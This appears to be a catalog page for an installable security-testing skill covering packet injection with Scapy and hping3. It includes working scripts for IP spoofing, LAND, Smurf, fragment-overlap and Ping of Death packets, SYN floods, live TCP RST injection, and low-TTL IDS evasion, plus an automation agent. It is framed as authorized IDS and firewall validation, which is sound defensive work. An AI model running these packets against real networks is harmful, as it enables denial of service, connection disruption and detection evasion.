network security

Performing Packet Injection Attack

Crafts and injects custom network packets using Scapy, hping3, and Nemesis during authorized security assessments to test firewall rules, IDS detection, protocol handling, and network stack resilience against malformed and spoofed traffic.

hping3network-securitypacket-injectionprotocol-testingscapy
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

When to Use

  • Testing IDS/IPS rules by injecting traffic that should trigger specific detection signatures
  • Validating firewall rules by crafting packets with specific flags, source addresses, and payloads
  • Assessing network stack resilience to malformed packets, fragmentation attacks, and protocol violations
  • Simulating spoofed traffic to test anti-spoofing controls (BCP38, uRPF)
  • Performing TCP reset injection to test connection resilience and session hijacking scenarios

Do not use for denial-of-service attacks against production systems, for spoofing traffic to frame third parties, or without explicit authorization for the target network.

Prerequisites

  • Written authorization specifying in-scope targets and approved packet injection techniques
  • Scapy, hping3, and Nemesis installed on the testing platform
  • Root/sudo privileges for raw socket access and packet crafting
  • Wireshark or tcpdump on the target side to verify packet delivery
  • Understanding of TCP/IP protocol internals, header fields, and flag combinations

Workflow

Step 1: Craft and Send Basic Test Packets with Scapy

#!/usr/bin/env python3
"""Basic packet injection examples using Scapy for authorized testing."""
 
from scapy.all import *
 
# TCP SYN packet (port scan simulation)
syn = IP(dst="10.10.20.10") / TCP(dport=80, flags="S", seq=1000)
response = sr1(syn, timeout=2, verbose=0)
if response and response.haslayer(TCP):
    if response[TCP].flags == "SA":
        print(f"[*] Port 80 is OPEN (SYN-ACK received)")
    elif response[TCP].flags == "RA":
        print(f"[*] Port 80 is CLOSED (RST-ACK received)")
 
# TCP XMAS scan packet (all flags set)
xmas = IP(dst="10.10.20.10") / TCP(dport=80, flags="FPU")
send(xmas, verbose=0)
print("[*] XMAS packet sent (should trigger IDS)")
 
# NULL scan packet (no flags)
null = IP(dst="10.10.20.10") / TCP(dport=80, flags="")
send(null, verbose=0)
print("[*] NULL packet sent")
 
# Crafted ICMP packet with custom payload
icmp_custom = IP(dst="10.10.20.10") / ICMP(type=8) / Raw(load="SECURITY_TEST_PAYLOAD")
send(icmp_custom, verbose=0)
print("[*] Custom ICMP packet sent")
 
# UDP packet to test firewall rules
udp_test = IP(dst="10.10.20.10") / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname="test.example.com"))
response = sr1(udp_test, timeout=2, verbose=0)
if response:
    print(f"[*] DNS response received from {response[IP].src}")

Step 2: IP Spoofing and Anti-Spoofing Validation

#!/usr/bin/env python3
"""Test anti-spoofing controls with spoofed source IP packets."""
 
from scapy.all import *
 
# Spoofed source IP (should be blocked by BCP38/uRPF)
spoofed_syn = IP(src="192.0.2.100", dst="10.10.20.10") / TCP(dport=80, flags="S")
send(spoofed_syn, verbose=0)
print("[*] Sent SYN with spoofed source 192.0.2.100")
 
# Land attack test (source = destination)
land = IP(src="10.10.20.10", dst="10.10.20.10") / TCP(sport=80, dport=80, flags="S")
send(land, verbose=0)
print("[*] Land attack packet sent (src==dst)")
 
# Smurf attack test (ICMP to broadcast with spoofed source)
smurf = IP(src="10.10.20.10", dst="10.10.20.255") / ICMP(type=8)
send(smurf, verbose=0)
print("[*] Smurf test packet sent (ICMP to broadcast)")
 
# IP fragment overlap test
frag1 = IP(dst="10.10.20.10", flags="MF", frag=0) / TCP(dport=80, flags="S") / Raw(load="A"*24)
frag2 = IP(dst="10.10.20.10", frag=2) / Raw(load="B"*24)  # Overlapping fragment
send(frag1, verbose=0)
send(frag2, verbose=0)
print("[*] Overlapping IP fragments sent")

Step 3: TCP Session Manipulation

# TCP RST injection to test connection resilience
# Using hping3 to send RST packets
sudo hping3 -S -p 80 --rst -c 5 10.10.20.10
 
# SYN flood test (limited volume for testing, not DoS)
sudo hping3 -S --flood -V -p 80 -c 100 10.10.20.10
# Note: --flood sends at maximum rate; -c 100 limits to 100 packets
 
# Test TCP window manipulation
sudo hping3 -S -p 80 -w 0 -c 5 10.10.20.10  # Zero window
sudo hping3 -S -p 80 -w 65535 -c 5 10.10.20.10  # Max window
 
# Idle scan probe (to test if a host can be used as zombie)
sudo hping3 -SA -p 80 -c 3 10.10.20.10
# Check IP ID values in response for predictability
#!/usr/bin/env python3
"""TCP RST injection to test session resilience."""
 
from scapy.all import *
 
# Sniff for an active TCP connection and inject RST
def rst_inject(pkt):
    if pkt.haslayer(TCP) and pkt[TCP].flags == "A":
        rst = IP(
            src=pkt[IP].dst,
            dst=pkt[IP].src
        ) / TCP(
            sport=pkt[TCP].dport,
            dport=pkt[TCP].sport,
            seq=pkt[TCP].ack,
            flags="R"
        )
        send(rst, verbose=0)
        print(f"[*] RST injected: {pkt[IP].src}:{pkt[TCP].sport} -> {pkt[IP].dst}:{pkt[TCP].dport}")
 
# Sniff for 10 packets and attempt RST injection
print("[*] Listening for TCP ACK packets to inject RST...")
sniff(filter="tcp and host 10.10.20.10", prn=rst_inject, count=10, iface="eth0")

Step 4: Protocol Anomaly Testing

#!/usr/bin/env python3
"""Protocol anomaly packets for IDS/firewall testing."""
 
from scapy.all import *
 
target = "10.10.20.10"
 
# Ping of Death (oversized ICMP - should be blocked)
pod = IP(dst=target) / ICMP() / Raw(load="X" * 65500)
send(fragment(pod), verbose=0)
print("[*] Ping of Death fragments sent")
 
# Tiny fragment attack (TCP header split across fragments)
tiny_frag = IP(dst=target, flags="MF", frag=0) / Raw(load=bytes(TCP(dport=80, flags="S"))[:8])
tiny_frag2 = IP(dst=target, frag=1) / Raw(load=bytes(TCP(dport=80, flags="S"))[8:])
send(tiny_frag, verbose=0)
send(tiny_frag2, verbose=0)
print("[*] Tiny fragment attack packets sent")
 
# Invalid TCP flag combinations
invalid_flags = [
    ("SYN+FIN", "SF"),
    ("SYN+RST", "SR"),
    ("FIN only (no session)", "F"),
    ("All flags", "FSRPAUEC"),
]
 
for name, flags in invalid_flags:
    pkt = IP(dst=target) / TCP(dport=80, flags=flags)
    send(pkt, verbose=0)
    print(f"[*] Sent packet with invalid flags: {name}")
 
# TTL-based evasion (packets that expire before reaching IDS)
# Assumes IDS is 2 hops away, target is 5 hops
ttl_evade = IP(dst=target, ttl=3) / TCP(dport=80, flags="S")
send(ttl_evade, verbose=0)
print("[*] Low-TTL evasion packet sent (TTL=3)")
 
# IP options padding
ip_opts = IP(dst=target, options=[IPOption_RR()]) / TCP(dport=80, flags="S")
send(ip_opts, verbose=0)
print("[*] Packet with IP Record Route option sent")

Step 5: Verify IDS Detection

# Check Snort/Suricata for alerts triggered by injected packets
grep -i "xmas\|null\|land\|smurf\|ping.of.death\|fragment" /var/log/suricata/eve.json | \
  python3 -m json.tool | head -50
 
# Expected IDS alerts:
# - XMAS scan detected (SID: 2100330)
# - NULL scan detected (SID: 2100331)
# - Land attack detected
# - Smurf attack detected
# - Fragmentation anomaly
# - Invalid TCP flags
 
# Verify firewall dropped spoofed packets
sudo iptables -L -n -v | grep -i drop
 
# Check for fragmentation reassembly errors
dmesg | grep -i "fragment\|frag"

Step 6: Document Results

# Generate test results summary
cat > packet_injection_report.txt << 'EOF'
Packet Injection Test Results
=============================
Date: $(date)
Target: 10.10.20.10
Tester: Security Assessment Team
 
Test 1: TCP XMAS Scan
  IDS Detection: YES (Suricata SID 2100330)
  Firewall Action: Dropped
 
Test 2: IP Spoofing (192.0.2.100)
  uRPF Block: YES (packet dropped at edge router)
  IDS Detection: YES (source not in HOME_NET)
 
Test 3: Fragmentation Overlap
  IDS Detection: YES (stream reassembly anomaly)
  Target Response: Fragments dropped by OS
 
Test 4: Invalid TCP Flags
  IDS Detection: YES (SYN+FIN, SYN+RST flagged)
  Firewall Action: Dropped
EOF

Key Concepts

Term Definition
Packet Injection Crafting and sending network packets with specific header values, payloads, or flag combinations to test network security controls
IP Spoofing Setting a false source IP address in crafted packets to test anti-spoofing controls (BCP38, uRPF) or impersonate another host
TCP RST Injection Sending forged TCP RST packets to terminate established connections, testing session resilience and connection reset defenses
Fragmentation Attack Exploiting IP fragmentation to split malicious payloads across fragments, evading packet inspection that does not reassemble fragments
uRPF (Unicast Reverse Path Forwarding) Router-level anti-spoofing mechanism that drops packets if the source IP would not be routable back through the ingress interface
BCP38 (Network Ingress Filtering) Best Current Practice for preventing IP spoofing at network borders by filtering packets with source addresses not belonging to the network

Tools & Systems

  • Scapy: Python packet manipulation library for crafting arbitrary network packets with full control over all protocol headers
  • hping3: Command-line packet generator supporting TCP, UDP, ICMP with control over flags, TTL, window size, and packet rate
  • Nemesis: Network packet injection tool supporting Ethernet, ARP, IP, TCP, UDP, ICMP, DNS, and other protocols
  • tcpreplay: Tool for replaying captured PCAP files at controlled rates for testing IDS rules against known traffic patterns
  • Nping: Nmap's packet generation tool for crafting probes with arbitrary TCP/UDP/ICMP headers

Common Scenarios

Scenario: Validating IDS Rules After Deployment

Context: A SOC team deployed new Suricata rules for detecting reconnaissance and evasion techniques. They need to validate that the rules trigger correctly before going live. The testing is performed in a staging environment replicating the production network.

Approach:

  1. Craft XMAS, NULL, and FIN scan packets using Scapy and send to test targets to verify scan detection rules
  2. Generate packets with invalid TCP flag combinations (SYN+FIN, SYN+RST) to test protocol anomaly rules
  3. Send oversized ICMP packets and fragmented payloads to test fragmentation detection rules
  4. Inject packets with spoofed source IPs to verify anti-spoofing rules fire correctly
  5. Send TCP RST injection packets during an active HTTP session to test session disruption detection
  6. Verify that all expected Suricata alerts appear in the EVE JSON log with correct severity and metadata
  7. Document which rules fired, which did not, and recommend rule tuning for any gaps

Pitfalls:

  • Sending injection packets too fast and overwhelming the test network or IDS sensor
  • Crafting packets with incorrect checksum calculations, causing them to be silently dropped before reaching the IDS
  • Not accounting for stateful firewalls that drop out-of-state packets before they reach the IDS for inspection
  • Testing from behind a NAT that modifies source ports and breaks crafted TCP sequences

Output Format

## Packet Injection Test Report
 
**Target**: 10.10.20.10 (test-server-01)
**IDS Sensor**: suricata-staging-01
**Test Date**: 2024-03-15
 
### Test Matrix
 
| Test | Packet Type | Expected Detection | Actual Result |
|------|-------------|-------------------|---------------|
| 1 | TCP XMAS Scan | SID 2100330 | DETECTED |
| 2 | TCP NULL Scan | SID 2100331 | DETECTED |
| 3 | SYN+FIN Invalid | SID 2100332 | DETECTED |
| 4 | IP Spoofed Source | SID 2003000 | DETECTED |
| 5 | Land Attack | SID 2100333 | NOT DETECTED |
| 6 | Fragment Overlap | SID 2200001 | DETECTED |
| 7 | Ping of Death | SID 2100334 | DETECTED |
| 8 | TCP RST Injection | Custom SID | NOT DETECTED |
 
### Detection Rate: 6/8 (75%)
 
### Gaps Identified
1. Land attack (src==dst) not detected -- add rule SID 2100333
2. TCP RST injection not detected -- create custom rule for out-of-window RST
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 1

api-reference.md1.6 KB

API Reference: Packet Injection Attack

Scapy Python API

from scapy.all import IP, TCP, UDP, ICMP, Raw, sr1, send
 
# Craft and send TCP SYN
pkt = IP(dst="10.10.20.10") / TCP(dport=80, flags="S")
resp = sr1(pkt, timeout=2, verbose=0)
 
# Send without waiting for response
send(pkt, verbose=0)
 
# Fragment a packet
from scapy.all import fragment
frags = fragment(IP(dst="10.10.20.10") / ICMP() / Raw(load="X"*65500))
send(frags, verbose=0)

Scapy Packet Layers

Layer Fields Example
IP src, dst, ttl, flags, frag IP(dst="10.0.0.1", ttl=64)
TCP sport, dport, flags, seq, ack TCP(dport=80, flags="S")
UDP sport, dport UDP(dport=53)
ICMP type, code ICMP(type=8)
DNS qd, rd DNS(rd=1, qd=DNSQR(qname="test.com"))

TCP Flag Values

Flag Value Description
S SYN Connection initiation
A ACK Acknowledgment
F FIN Connection termination
R RST Connection reset
P PSH Push data
U URG Urgent pointer

hping3 CLI

Command Description
hping3 -S -p 80 <target> Send SYN packets
hping3 -S --flood -c 100 <target> Limited SYN flood test
hping3 -S -p 80 -w 0 <target> Zero window test

Python Libraries

Library Version Purpose
scapy >=2.5 Packet crafting, sending, and receiving

References

Scripts 1

agent.py6.8 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Agent for performing packet injection testing.

Crafts and sends test packets using Scapy for authorized security
assessments to validate IDS rules, firewall configurations, and
anti-spoofing controls.
"""

from scapy.all import (
    IP, TCP, UDP, ICMP, DNS, DNSQR, Raw,
    sr1, send, fragment, conf,
)
import json
import sys
from datetime import datetime


class PacketInjectionAgent:
    """Performs authorized packet injection tests using Scapy."""

    def __init__(self, target_ip, interface=None):
        self.target_ip = target_ip
        if interface:
            conf.iface = interface
        self.results = []

    def _record_result(self, test_name, technique, sent, response_info):
        """Record a test result."""
        result = {
            "test": test_name,
            "technique": technique,
            "target": self.target_ip,
            "timestamp": datetime.utcnow().isoformat(),
            "response": response_info,
        }
        self.results.append(result)
        return result

    def test_tcp_syn(self, port=80):
        """Send TCP SYN packet to test port state."""
        pkt = IP(dst=self.target_ip) / TCP(dport=port, flags="S", seq=1000)
        resp = sr1(pkt, timeout=3, verbose=0)
        if resp and resp.haslayer(TCP):
            flags = resp[TCP].flags
            state = "open" if flags == "SA" else "closed" if flags == "RA" else str(flags)
            return self._record_result("TCP SYN", "port_scan", True, {"port": port, "state": state})
        return self._record_result("TCP SYN", "port_scan", True, {"port": port, "state": "filtered"})

    def test_xmas_scan(self, port=80):
        """Send XMAS packet (FIN+PSH+URG flags) to test IDS detection."""
        pkt = IP(dst=self.target_ip) / TCP(dport=port, flags="FPU")
        send(pkt, verbose=0)
        return self._record_result("XMAS Scan", "T1046", True,
                                   {"flags": "FPU", "expected_ids": "XMAS scan detection"})

    def test_null_scan(self, port=80):
        """Send NULL packet (no flags) to test IDS detection."""
        pkt = IP(dst=self.target_ip) / TCP(dport=port, flags="")
        send(pkt, verbose=0)
        return self._record_result("NULL Scan", "T1046", True,
                                   {"flags": "none", "expected_ids": "NULL scan detection"})

    def test_invalid_flags(self, port=80):
        """Send packets with invalid TCP flag combinations."""
        results = []
        flag_combos = [("SYN+FIN", "SF"), ("SYN+RST", "SR"), ("ALL", "FSRPAUEC")]
        for name, flags in flag_combos:
            pkt = IP(dst=self.target_ip) / TCP(dport=port, flags=flags)
            send(pkt, verbose=0)
            results.append(self._record_result(
                f"Invalid Flags: {name}", "protocol_anomaly", True,
                {"flags": flags, "expected_ids": f"Invalid TCP flags: {name}"}
            ))
        return results

    def test_spoofed_source(self, spoofed_ip="192.0.2.100", port=80):
        """Send packet with spoofed source IP to test anti-spoofing."""
        pkt = IP(src=spoofed_ip, dst=self.target_ip) / TCP(dport=port, flags="S")
        send(pkt, verbose=0)
        return self._record_result("IP Spoofing", "anti_spoofing", True,
                                   {"spoofed_src": spoofed_ip, "expected": "Blocked by BCP38/uRPF"})

    def test_land_attack(self, port=80):
        """Send LAND attack packet (src==dst) to test protection."""
        pkt = IP(src=self.target_ip, dst=self.target_ip) / TCP(sport=port, dport=port, flags="S")
        send(pkt, verbose=0)
        return self._record_result("LAND Attack", "land_attack", True,
                                   {"src_eq_dst": True, "expected": "Dropped by OS/firewall"})

    def test_fragmentation_overlap(self, port=80):
        """Send overlapping IP fragments to test reassembly handling."""
        frag1 = IP(dst=self.target_ip, flags="MF", frag=0) / TCP(dport=port, flags="S") / Raw(load="A" * 24)
        frag2 = IP(dst=self.target_ip, frag=2) / Raw(load="B" * 24)
        send(frag1, verbose=0)
        send(frag2, verbose=0)
        return self._record_result("Fragment Overlap", "fragmentation", True,
                                   {"fragments": 2, "expected_ids": "Fragment overlap detection"})

    def test_icmp_payload(self):
        """Send ICMP with custom payload to test content inspection."""
        pkt = IP(dst=self.target_ip) / ICMP(type=8) / Raw(load="SECURITY_TEST_PAYLOAD")
        resp = sr1(pkt, timeout=3, verbose=0)
        return self._record_result("ICMP Custom Payload", "icmp_test", True,
                                   {"response": "echo_reply" if resp else "no_response"})

    def test_dns_query(self, domain="test.example.com"):
        """Send DNS query to test DNS filtering."""
        pkt = IP(dst=self.target_ip) / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname=domain))
        resp = sr1(pkt, timeout=3, verbose=0)
        return self._record_result("DNS Query", "dns_test", True,
                                   {"domain": domain, "response": "received" if resp else "blocked"})

    def test_low_ttl_evasion(self, ttl=3, port=80):
        """Send low-TTL packet to test IDS evasion detection."""
        pkt = IP(dst=self.target_ip, ttl=ttl) / TCP(dport=port, flags="S")
        send(pkt, verbose=0)
        return self._record_result("Low TTL Evasion", "ttl_evasion", True,
                                   {"ttl": ttl, "expected": "Packet expires before target"})

    def run_full_test_suite(self):
        """Run all packet injection tests."""
        self.test_tcp_syn()
        self.test_xmas_scan()
        self.test_null_scan()
        self.test_invalid_flags()
        self.test_spoofed_source()
        self.test_land_attack()
        self.test_fragmentation_overlap()
        self.test_icmp_payload()
        self.test_low_ttl_evasion()

        report = {
            "target": self.target_ip,
            "test_date": datetime.utcnow().isoformat(),
            "total_tests": len(self.results),
            "results": self.results,
        }
        return report


def main():
    if len(sys.argv) < 2:
        print("Usage: agent.py <target_ip> [interface] [test]")
        print("Tests: syn, xmas, null, flags, spoof, land, frag, icmp, all")
        sys.exit(1)

    target_ip = sys.argv[1]
    interface = sys.argv[2] if len(sys.argv) > 2 else None
    test = sys.argv[3] if len(sys.argv) > 3 else "all"

    agent = PacketInjectionAgent(target_ip, interface)

    if test == "all":
        report = agent.run_full_test_suite()
    elif test == "syn":
        agent.test_tcp_syn()
        report = {"results": agent.results}
    elif test == "xmas":
        agent.test_xmas_scan()
        report = {"results": agent.results}
    else:
        report = agent.run_full_test_suite()

    print(json.dumps(report, indent=2))


if __name__ == "__main__":
    main()
Keep exploring